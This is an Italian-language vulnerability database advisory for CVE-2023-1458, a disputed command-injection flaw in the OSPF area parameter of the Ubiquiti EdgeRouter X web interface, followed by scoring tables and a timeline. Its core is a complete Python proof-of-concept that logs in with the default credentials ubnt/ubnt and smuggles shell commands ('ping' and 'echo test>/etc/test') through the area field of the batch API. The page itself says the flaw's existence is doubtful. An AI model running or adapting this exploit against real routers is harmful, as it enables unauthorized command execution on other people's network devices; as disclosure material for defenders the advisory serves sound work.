Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area escalazione di privilegi ⚔ [Contestazione]

CVSS Punteggio Meta TempExploit Prezzo Attuale (≈)Punteggio di interesse CTI
7.8$0-$5k0.00

Un punto critico di livello critico è stato rilevato in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). É interessato una funzione sconosciuta del componente OSPF Handler. Per causa della manipolazione del parametro area di un input sconosciuto per mezzo di una vulerabilità di classe escalazione di privilegi. Non sono ancora conosciuti gli effetti esatti di un attacco con sussesso.

La vulnerabilità è stata pubblicata in data 17/03/2023 (non definito). Questo punto di criticità è identificato come CVE-2023-1458. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

L'exploit è scaricabile da vuldb.com. È stato dichiarato come proof-of-concept. La reale esistenza di questa vulnerabilità al momento è dubbia. Il codice utilizzato dal exploit è:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'protocols': {'ospf': 
  {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

Informazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.

Prodottoinfo

Genere

Fornitore

Nome

Versione

Licenza

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3info

VulDB Punteggio meta-base: 8.1
VulDB Punteggio Meta Temp: 7.8

VulDB Punteggio di base: 7.2
VulDB Punteggio temporaneo: 6.5
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 9.8
NVD Vettore: 🔍

CNA Punteggio di base: 7.2
CNA Vettore (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Exploitinginfo

Classe: Escalazione di privilegi
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Proof-of-Concept
Scaricamento: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-Daysbloccaresbloccaresbloccaresbloccare
Oggisbloccaresbloccaresbloccaresbloccare

Intelligence Sulle Minacceinfo

Interesse: 🔍
Attori Attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinfo

Raccomandazione: nessuna contromisura conosciuta
Stato: 🔍

0 giorni di tempo: 🔍

Sequenza temporaleinfo

17/03/2023 🔍
17/03/2023 +0 giorni 🔍
17/03/2023 +0 giorni 🔍
11/04/2023 +25 giorni 🔍

Fontiinfo

Stato: Non definito
Contestazione: 🔍

CVE: CVE-2023-1458 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Voceinfo

Data di creazione: 17/03/2023 08:38
Aggiornamenti: 11/04/2023 12:18
I cambiamenti: 17/03/2023 08:38 (40), 17/03/2023 08:40 (3), 11/04/2023 12:10 (2), 11/04/2023 12:18 (28)
Completa: 🔍
Inviato: leetmoon
Cache ID: 3:F75:103

Submitinfo

Accettato

  • Submit #99980: Command injection at the web management interface of EdgeRouter-x(3) (di leetmoon)

Discussione

Ancora nessun commento. Le Lingue: it + en.

Effettua il login per commentare.

Do you need the next level of professionalism?

Upgrade your account now!